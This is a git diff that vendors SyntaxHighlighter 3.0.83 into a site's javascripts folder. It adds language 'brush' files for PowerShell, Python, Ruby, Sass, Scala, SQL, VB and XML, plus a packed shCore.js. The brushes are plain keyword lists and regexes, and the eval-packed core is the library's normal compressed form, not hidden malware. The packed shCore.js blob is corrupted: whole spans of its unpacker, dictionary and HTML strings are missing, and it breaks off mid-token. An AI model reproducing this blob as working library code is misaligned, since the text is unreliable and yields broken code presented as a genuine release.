Get-PSDrive Get-PSProvider Get-PSSnapin Get-Service ' + + 'Get-TraceSource Get-UICulture Get-Unique Get-Variable Get-WmiObject Group-Object ' + + 'Import-Alias Import-Clixml Import-Csv Invoke-Expression Invoke-History Invoke-Item ' + + 'Join-Path Measure-Command Measure-Object Move(-Item)? Move-ItemProperty New-Alias ' + + 'New-Item New-ItemProperty New-Object New-PSDrive New-Service New-TimeSpan ' + + 'New-Variable Out-Default Out-File Out-Host Out-Null Out-Printer Out-String Pop-Location ' + + 'Push-Location Read-Host Remove-Item Remove-ItemProperty Remove-PSDrive Remove-PSSnapin ' + + 'Remove-Variable Rename-Item Rename-ItemProperty Resolve-Path Restart-Service Resume-Service ' + + 'Select-Object Select-String Set-Acl Set-Alias Set-AuthenticodeSignature Set-Content ' + + 'Set-Date Set-ExecutionPolicy Set-Item Set-ItemProperty Set-Location Set-PSDebug ' + + 'Set-Service Set-TraceSource Set(-Variable)? Sort-Object Split-Path Start-Service ' + + 'Start-Sleep Start-Transcript Stop-Process Stop-Service Stop-Transcript Suspend-Service ' + + 'Tee-Object Test-Path Trace-Command Update-FormatData Update-TypeData Where(-Object)? ' + + 'Write-Debug Write-Error Write(-Host)? Write-Output Write-Progress Write-Verbose Write-Warning'; + var alias = 'ac asnp clc cli clp clv cpi cpp cvpa diff epal epcsv fc fl ' + + 'ft fw gal gc gci gcm gdr ghy gi gl gm gp gps group gsv ' + + 'gsnp gu gv gwmi iex ihy ii ipal ipcsv mi mp nal ndr ni nv oh rdr ' + + 'ri rni rnp rp rsnp rv rvpa sal sasv sc select si sl sleep sort sp ' + + 'spps spsv sv tee cat cd cp h history kill lp ls ' + + 'mount mv popd ps pushd pwd r rm rmdir echo cls chdir del dir ' + + 'erase rd ren type % \\?'; + + this.regexList = [ + { regex: /#.*$/gm, css: 'comments' }, // one line comments + { regex: /\$[a-zA-Z0-9]+\b/g, css: 'value' }, // variables $Computer1 + { regex: /\-[a-zA-Z]+\b/g, css: 'keyword' }, // Operators -not -and -eq + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings + { regex: new RegExp(this.getKeywords(keywords), 'gmi'), css: 'keyword' }, + { regex: new RegExp(this.getKeywords(alias), 'gmi'), css: 'keyword' } + ]; + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['powershell', 'ps']; + + SyntaxHighlighter.brushes.PowerShell = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushPython.js b/v4.1/javascripts/syntaxhighlighter/shBrushPython.js new file mode 100644 index 0000000..ce77462 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushPython.js @@ -0,0 +1,64 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + // Contributed by Gheorghe Milas and Ahmad Sherif + + var keywords = 'and assert break class continue def del elif else ' + + 'except exec finally for from global if import in is ' + + 'lambda not or pass print raise return try yield while'; + + var funcs = '__import__ abs all any apply basestring bin bool buffer callable ' + + 'chr classmethod cmp coerce compile complex delattr dict dir ' + + 'divmod enumerate eval execfile file filter float format frozenset ' + + 'getattr globals hasattr hash help hex id input int intern ' + + 'isinstance issubclass iter len list locals long map max min next ' + + 'object oct open ord pow print property range raw_input reduce ' + + 'reload repr reversed round set setattr slice sorted staticmethod ' + + 'str sum super tuple type type unichr unicode vars xrange zip'; + + var special = 'None True False self cls class_'; + + this.regexList = [ + { regex: SyntaxHighlighter.regexLib.singleLinePerlComments, css: 'comments' }, + { regex: /^\s*@\w+/gm, css: 'decorator' }, + { regex: /(['\"]{3})([^\1])*?\1/gm, css: 'comments' }, + { regex: /"(?!")(?:\.|\\\"|[^\""\n])*"/gm, css: 'string' }, + { regex: /'(?!')(?:\.|(\\\')|[^\''\n])*'/gm, css: 'string' }, + { regex: /\+|\-|\*|\/|\%|=|==/gm, css: 'keyword' }, + { regex: /\b\d+\.?\w*/g, css: 'value' }, + { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' }, + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, + { regex: new RegExp(this.getKeywords(special), 'gm'), css: 'color1' } + ]; + + this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags); + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['py', 'python']; + + SyntaxHighlighter.brushes.Python = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushRuby.js b/v4.1/javascripts/syntaxhighlighter/shBrushRuby.js new file mode 100644 index 0000000..ff82130 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushRuby.js @@ -0,0 +1,55 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + // Contributed by Erik Peterson. + + var keywords = 'alias and BEGIN begin break case class def define_method defined do each else elsif ' + + 'END end ensure false for if in module new next nil not or raise redo rescue retry return ' + + 'self super then throw true undef unless until when while yield'; + + var builtins = 'Array Bignum Binding Class Continuation Dir Exception FalseClass File::Stat File Fixnum Fload ' + + 'Hash Integer IO MatchData Method Module NilClass Numeric Object Proc Range Regexp String Struct::TMS Symbol ' + + 'ThreadGroup Thread Time TrueClass'; + + this.regexList = [ + { regex: SyntaxHighlighter.regexLib.singleLinePerlComments, css: 'comments' }, // one line comments + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings + { regex: /\b[A-Z0-9_]+\b/g, css: 'constants' }, // constants + { regex: /:[a-z][A-Za-z0-9_]*/g, css: 'color2' }, // symbols + { regex: /(\$|@@|@)\w+/g, css: 'variable bold' }, // $global, @instance, and @@class variables + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // keywords + { regex: new RegExp(this.getKeywords(builtins), 'gm'), css: 'color1' } // builtins + ]; + + this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags); + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['ruby', 'rails', 'ror', 'rb']; + + SyntaxHighlighter.brushes.Ruby = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushSass.js b/v4.1/javascripts/syntaxhighlighter/shBrushSass.js new file mode 100644 index 0000000..aa04da0 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushSass.js @@ -0,0 +1,94 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + function getKeywordsCSS(str) + { + return '\\b([a-z_]|)' + str.replace(/ /g, '(?=:)\\b|\\b([a-z_\\*]|\\*|)') + '(?=:)\\b'; + }; + + function getValuesCSS(str) + { + return '\\b' + str.replace(/ /g, '(?!-)(?!:)\\b|\\b()') + '\:\\b'; + }; + + var keywords = 'ascent azimuth background-attachment background-color background-image background-position ' + + 'background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top ' + + 'border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color ' + + 'border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width ' + + 'border-bottom-width border-left-width border-width border bottom cap-height caption-side centerline clear clip color ' + + 'content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display ' + + 'elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font ' + + 'height left letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top ' + + 'margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans ' + + 'outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page ' + + 'page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position ' + + 'quotes right richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress ' + + 'table-layout text-align top text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em ' + + 'vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index'; + + var values = 'above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder '+ + 'both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed '+ + 'continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero digits disc dotted double '+ + 'embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia '+ + 'gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic '+ + 'justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha '+ + 'lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower '+ + 'navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset '+ + 'outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side '+ + 'rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow '+ + 'small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize '+ + 'table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal '+ + 'text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin '+ + 'upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow'; + + var fonts = '[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif [cC]ourier mono sans serif'; + + var statements = '!important !default'; + var preprocessor = '@import @extend @debug @warn @if @for @while @mixin @include'; + + var r = SyntaxHighlighter.regexLib; + + this.regexList = [ + { regex: r.multiLineCComments, css: 'comments' }, // multiline comments + { regex: r.singleLineCComments, css: 'comments' }, // singleline comments + { regex: r.doubleQuotedString, css: 'string' }, // double quoted strings + { regex: r.singleQuotedString, css: 'string' }, // single quoted strings + { regex: /\#[a-fA-F0-9]{3,6}/g, css: 'value' }, // html colors + { regex: /\b(-?\d+)(\.\d+)?(px|em|pt|\:|\%|)\b/g, css: 'value' }, // sizes + { regex: /\$\w+/g, css: 'variable' }, // variables + { regex: new RegExp(this.getKeywords(statements), 'g'), css: 'color3' }, // statements + { regex: new RegExp(this.getKeywords(preprocessor), 'g'), css: 'preprocessor' }, // preprocessor + { regex: new RegExp(getKeywordsCSS(keywords), 'gm'), css: 'keyword' }, // keywords + { regex: new RegExp(getValuesCSS(values), 'g'), css: 'value' }, // values + { regex: new RegExp(this.getKeywords(fonts), 'g'), css: 'color1' } // fonts + ]; + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['sass', 'scss']; + + SyntaxHighlighter.brushes.Sass = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushScala.js b/v4.1/javascripts/syntaxhighlighter/shBrushScala.js new file mode 100644 index 0000000..4b0b6f0 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushScala.js @@ -0,0 +1,51 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + // Contributed by Yegor Jbanov and David Bernard. + + var keywords = 'val sealed case def true trait implicit forSome import match object null finally super ' + + 'override try lazy for var catch throw type extends class while with new final yield abstract ' + + 'else do if return protected private this package false'; + + var keyops = '[_:=><%#@]+'; + + this.regexList = [ + { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments + { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments + { regex: SyntaxHighlighter.regexLib.multiLineSingleQuotedString, css: 'string' }, // multi-line strings + { regex: SyntaxHighlighter.regexLib.multiLineDoubleQuotedString, css: 'string' }, // double-quoted string + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings + { regex: /0x[a-f0-9]+|\d+(\.\d+)?/gi, css: 'value' }, // numbers + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // keywords + { regex: new RegExp(keyops, 'gm'), css: 'keyword' } // scala keyword + ]; + } + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['scala']; + + SyntaxHighlighter.brushes.Scala = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushSql.js b/v4.1/javascripts/syntaxhighlighter/shBrushSql.js new file mode 100644 index 0000000..5c2cd88 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushSql.js @@ -0,0 +1,66 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + var funcs = 'abs avg case cast coalesce convert count current_timestamp ' + + 'current_user day isnull left lower month nullif replace right ' + + 'session_user space substring sum system_user upper user year'; + + var keywords = 'absolute action add after alter as asc at authorization begin bigint ' + + 'binary bit by cascade char character check checkpoint close collate ' + + 'column commit committed connect connection constraint contains continue ' + + 'create cube current current_date current_time cursor database date ' + + 'deallocate dec decimal declare default delete desc distinct double drop ' + + 'dynamic else end end-exec escape except exec execute false fetch first ' + + 'float for force foreign forward free from full function global goto grant ' + + 'group grouping having hour ignore index inner insensitive insert instead ' + + 'int integer intersect into is isolation key last level load local max min ' + + 'minute modify move name national nchar next no numeric of off on only ' + + 'open option order out output partial password precision prepare primary ' + + 'prior privileges procedure public read real references relative repeatable ' + + 'restrict return returns revoke rollback rollup rows rule schema scroll ' + + 'second section select sequence serializable set size smallint static ' + + 'statistics table temp temporary then time timestamp to top transaction ' + + 'translation trigger true truncate uncommitted union unique update values ' + + 'varchar varying view when where with work'; + + var operators = 'all and any between cross in join like not null or outer some'; + + this.regexList = [ + { regex: /--(.*)$/gm, css: 'comments' }, // one line and multiline comments + { regex: SyntaxHighlighter.regexLib.multiLineDoubleQuotedString, css: 'string' }, // double quoted strings + { regex: SyntaxHighlighter.regexLib.multiLineSingleQuotedString, css: 'string' }, // single quoted strings + { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'color2' }, // functions + { regex: new RegExp(this.getKeywords(operators), 'gmi'), css: 'color1' }, // operators and such + { regex: new RegExp(this.getKeywords(keywords), 'gmi'), css: 'keyword' } // keyword + ]; + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['sql']; + + SyntaxHighlighter.brushes.Sql = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); + diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushVb.js b/v4.1/javascripts/syntaxhighlighter/shBrushVb.js new file mode 100644 index 0000000..be845dc --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushVb.js @@ -0,0 +1,56 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + var keywords = 'AddHandler AddressOf AndAlso Alias And Ansi As Assembly Auto ' + + 'Boolean ByRef Byte ByVal Call Case Catch CBool CByte CChar CDate ' + + 'CDec CDbl Char CInt Class CLng CObj Const CShort CSng CStr CType ' + + 'Date Decimal Declare Default Delegate Dim DirectCast Do Double Each ' + + 'Else ElseIf End Enum Erase Error Event Exit False Finally For Friend ' + + 'Function Get GetType GoSub GoTo Handles If Implements Imports In ' + + 'Inherits Integer Interface Is Let Lib Like Long Loop Me Mod Module ' + + 'MustInherit MustOverride MyBase MyClass Namespace New Next Not Nothing ' + + 'NotInheritable NotOverridable Object On Option Optional Or OrElse ' + + 'Overloads Overridable Overrides ParamArray Preserve Private Property ' + + 'Protected Public RaiseEvent ReadOnly ReDim REM RemoveHandler Resume ' + + 'Return Select Set Shadows Shared Short Single Static Step Stop String ' + + 'Structure Sub SyncLock Then Throw To True Try TypeOf Unicode Until ' + + 'Variant When While With WithEvents WriteOnly Xor'; + + this.regexList = [ + { regex: /'.*$/gm, css: 'comments' }, // one line comments + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings + { regex: /^\s*#.*$/gm, css: 'preprocessor' }, // preprocessor tags like #region and #endregion + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } // vb keyword + ]; + + this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags); + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['vb', 'vbnet']; + + SyntaxHighlighter.brushes.Vb = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushXml.js b/v4.1/javascripts/syntaxhighlighter/shBrushXml.js new file mode 100644 index 0000000..69d9fd0 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushXml.js @@ -0,0 +1,69 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + function process(match, regexInfo) + { + var constructor = SyntaxHighlighter.Match, + code = match[0], + tag = new XRegExp('(<|<)[\\s\\/\\?]*(?[:\\w-\\.]+)', 'xg').exec(code), + result = [] + ; + + if (match.attributes != null) + { + var attributes, + regex = new XRegExp('(? [\\w:\\-\\.]+)' + + '\\s*=\\s*' + + '(? ".*?"|\'.*?\'|\\w+)', + 'xg'); + + while ((attributes = regex.exec(code)) != null) + { + result.push(new constructor(attributes.name, match.index + attributes.index, 'color1')); + result.push(new constructor(attributes.value, match.index + attributes.index + attributes[0].indexOf(attributes.value), 'string')); + } + } + + if (tag != null) + result.push( + new constructor(tag.name, match.index + tag[0].indexOf(tag.name), 'keyword') + ); + + return result; + } + + this.regexList = [ + { regex: new XRegExp('(\\<|<)\\!\\[[\\w\\s]*?\\[(.|\\s)*?\\]\\](\\>|>)', 'gm'), css: 'color2' }, // + { regex: SyntaxHighlighter.regexLib.xmlComments, css: 'comments' }, // + { regex: new XRegExp('(<|<)[\\s\\/\\?]*(\\w+)(?.*?)[\\s\\/\\?]*(>|>)', 'sg'), func: process } + ]; + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['xml', 'xhtml', 'xslt', 'html']; + + SyntaxHighlighter.brushes.Xml = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shCore.js b/v4.1/javascripts/syntaxhighlighter/shCore.js new file mode 100644 index 0000000..b47b645 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shCore.js @@ -0,0 +1,17 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('K M;I(M)1S 2U("2a\'t 4k M 4K 2g 3l 4G 4H");(6(){6 r(f,e){I(!M.1R(f))1S 3m("3s 15 4R");K a=f.1w;f=M(f.1m,t(f)+(e||""));I(a)f.1w={1m:a.1m,19:a.19?a.19.1a(0):N};H f}6 t(f){H(f.1J?"g":"")+(f.4s?"i":"")+(f.4p?"m":"")+(f.4v?"x":"")+(f.3n?"y":"")}6 B(f,e,a,b){K c=u.L,d,h,g;v=R;5K{O(;c--;){g=u[c];I(a&g.3r&&(!g.2p||g.2p.W(b))){g.2q.12=e;I((h=g.2q.X(f))&&h.P===e){d={3k:g.2b.W(b,h,a),1C:h};1N}}}}5v(i){1S i}5q{v=11}H d}6 p(f,e,a){I(3b.Z.1i)H f.1i(e,a);O(a=a||0;a-1},3d:6(g){e+=g}};c1&&p(e,"")>-1){a=15(J.1m,n.Q.W(t(J),"g",""));n.Q.W(f.1a(e.P),a,6(){O(K c=1;c<14.L-2;c++)I(14[c]===1d)e[c]=1d})}I(J.1w&&J.1w.19)O(K b=1;be.P&&J.12--}H e};I(!D)15.Z.1A=6(f){(f=n.X.W(J,f))&&J.1J&&!f[0].L&&J.12>f.P&&J.12--;H!!f};1r.Z.1C=6(f){M.1R(f)||(f=15(f));I(f.1J){K e=n.1C.1p(J,14);f.12=0;H e}H f.X(J)};1r.Z.Q=6(f,e){K a=M.1R(f),b,c;I(a&&1j e.58()==="3f"&&e.1i("${")===-1&&y)H n.Q.1p(J,14);I(a){I(f.1w)b=f.1w.19}Y f+="";I(1j e==="6")c=n.Q.W(J,f,6(){I(b){14[0]=1f 1r(14[0]);O(K d=0;dd.L-3;){i=1r.Z.1a.W(g,-1)+i;g=1Q.3i(g/10)}H(g?d[g]||"":"$")+i}Y{g=+i;I(g<=d.L-3)H d[g];g=b?p(b,i):-1;H g>-1?d[g+1]:h}})})}I(a&&f.1J)f.12=0;H c};1r.Z.1e=6(f,e){I(!M.1R(f))H n.1e.1p(J,14);K a=J+"",b=[],c=0,d,h;I(e===1d||+e<0)e=5D;Y{e=1Q.3i(+e);I(!e)H[]}O(f=M.3c(f);d=f.X(a);){I(f.12>c){b.U(a.1a(c,d.P));d.L>1&&d.P=e)1N}f.12===d.P&&f.12++}I(c===a.L){I(!n.1A.W(f,"")||h)b.U("")}Y b.U(a.1a(c));H b.L>e?b.1a(0,e):b};M.1h(/\\(\\?#[^)]*\\)/,6(f){H n.1A.W(A,f.2S.1a(f.P+f[0].L))?"":"(?:)"});M.1h(/\\((?!\\?)/,6(){J.19.U(N);H"("});M.1h(/\\(\\?<([$\\w]+)>/,6(f){J.19.U(f[1]);J.2N=R;H"("});M.1h(/\\\\k<([\\w$]+)>/,6(f){K e=p(J.19,f[1]);H e>-1?"\\\\"+(e+1)+(3R(f.2S.3a(f.P+f[0].L))?"":"(?:)"):f[0]});M.1h(/\\[\\^?]/,6(f){H f[0]==="[]"?"\\\\b\\\\B":"[\\\\s\\\\S]"});M.1h(/^\\(\\?([5A]+)\\)/,6(f){J.3d(f[1]);H""});M.1h(/(?:\\s+|#.*)+/,6(f){H n.1A.W(A,f.2S.1a(f.P+f[0].L))?"":"(?:)"},M.1B,6(){H J.2K("x")});M.1h(/\\./,6(){H"[\\\\s\\\\S]"},M.1B,6(){H J.2K("s")})})();1j 2e!="1d"&&(2e.M=M);K 1v=6(){6 r(a,b){a.1l.1i(b)!=-1||(a.1l+=" "+b)}6 t(a){H a.1i("3e")==0?a:"3e"+a}6 B(a){H e.1Y.2A[t(a)]}6 p(a,b,c){I(a==N)H N;K d=c!=R?a.3G:[a.2G],h={"#":"1c",".":"1l"}[b.1o(0,1)]||"3h",g,i;g=h!="3h"?b.1o(1):b.5u();I((a[h]||"").1i(g)!=-1)H a;O(a=0;d&&a\'+c+""});H a}6 n(a,b){a.1e("\\n");O(K c="",d=0;d<50;d++)c+=" ";H a=v(a,6(h){I(h.1i("\\t")==-1)H h;O(K g=0;(g=h.1i("\\t"))!=-1;)h=h.1o(0,g)+c.1o(0,b-g%b)+h.1o(g+1,h.L);H h})}6 x(a){H a.Q(/^\\s+|\\s+$/g,"")}6 D(a,b){I(a.Pb.P)H 1;Y I(a.Lb.L)H 1;H 0}6 y(a,b){6 c(k){H k[0]}O(K d=N,h=[],g=b.2D?b.2D:c;(d=b.1I.X(a))!=N;){K i=g(d,b);I(1j i=="3f")i=[1f e.2L(i,d.P,b.23)];h=h.1O(i)}H h}6 E(a){K b=/(.*)((&1G;|&1y;).*)/;H a.Q(e.3A.3M,6(c){K d="",h=N;I(h=b.X(c)){c=h[1];d=h[2]}H\'\'+c+""+d})}6 z(){O(K a=1E.36("1k"),b=[],c=0;c<1z 4I="1Z://2y.3L.3K/4L/5L"><3J><4N 1Z-4M="5G-5M" 6K="2O/1z; 6J=6I-8" /><1t>6L 1v<3B 1L="25-6M:6Q,6P,6O,6N-6F;6y-2f:#6x;2f:#6w;25-22:6v;2O-3D:3C;">1v3v 3.0.76 (72 73 3x)1Z://3u.2w/1v70 17 6U 71.6T 6X-3x 6Y 6D.6t 61 60 J 1k, 5Z 5R 5V <2R/>5U 5T 5S!\'}},1Y:{2j:N,2A:{}},1U:{},3A:{6n:/\\/\\*[\\s\\S]*?\\*\\//2c,6m:/\\/\\/.*$/2c,6l:/#.*$/2c,6k:/"([^\\\\"\\n]|\\\\.)*"/g,6o:/\'([^\\\\\'\\n]|\\\\.)*\'/g,6p:1f M(\'"([^\\\\\\\\"]|\\\\\\\\.)*"\',"3z"),6s:1f M("\'([^\\\\\\\\\']|\\\\\\\\.)*\'","3z"),6q:/(&1y;|<)!--[\\s\\S]*?--(&1G;|>)/2c,3M:/\\w+:\\/\\/[\\w-.\\/?%&=:@;]*/g,6a:{18:/(&1y;|<)\\?=?/g,1b:/\\?(&1G;|>)/g},69:{18:/(&1y;|<)%=?/g,1b:/%(&1G;|>)/g},6d:{18:/(&1y;|<)\\s*1k.*?(&1G;|>)/2T,1b:/(&1y;|<)\\/\\s*1k\\s*(&1G;|>)/2T}},16:{1H:6(a){6 b(i,k){H e.16.2o(i,k,e.13.1x[k])}O(K c=\'\',d=e.16.2x,h=d.2X,g=0;g";H c},2o:6(a,b,c){H\'<2W>\'+c+""},2b:6(a){K b=a.1F,c=b.1l||"";b=B(p(b,".20",R).1c);K d=6(h){H(h=15(h+"6f(\\\\w+)").X(c))?h[1]:N}("6g");b&&d&&e.16.2x[d].2B(b);a.3N()},2x:{2X:["21","2P"],21:{1H:6(a){I(a.V("2l")!=R)H"";K b=a.V("1t");H e.16.2o(a,"21",b?b:e.13.1x.21)},2B:6(a){a=1E.6j(t(a.1c));a.1l=a.1l.Q("47","")}},2P:{2B:6(){K a="68=0";a+=", 18="+(31.30-33)/2+", 32="+(31.2Z-2Y)/2+", 30=33, 2Z=2Y";a=a.Q(/^,/,"");a=1P.6Z("","38",a);a.2C();K b=a.1E;b.6W(e.13.1x.37);b.6V();a.2C()}}}},35:6(a,b){K c;I(b)c=[b];Y{c=1E.36(e.13.34);O(K d=[],h=0;h(.*?))\\\\]$"),s=1f 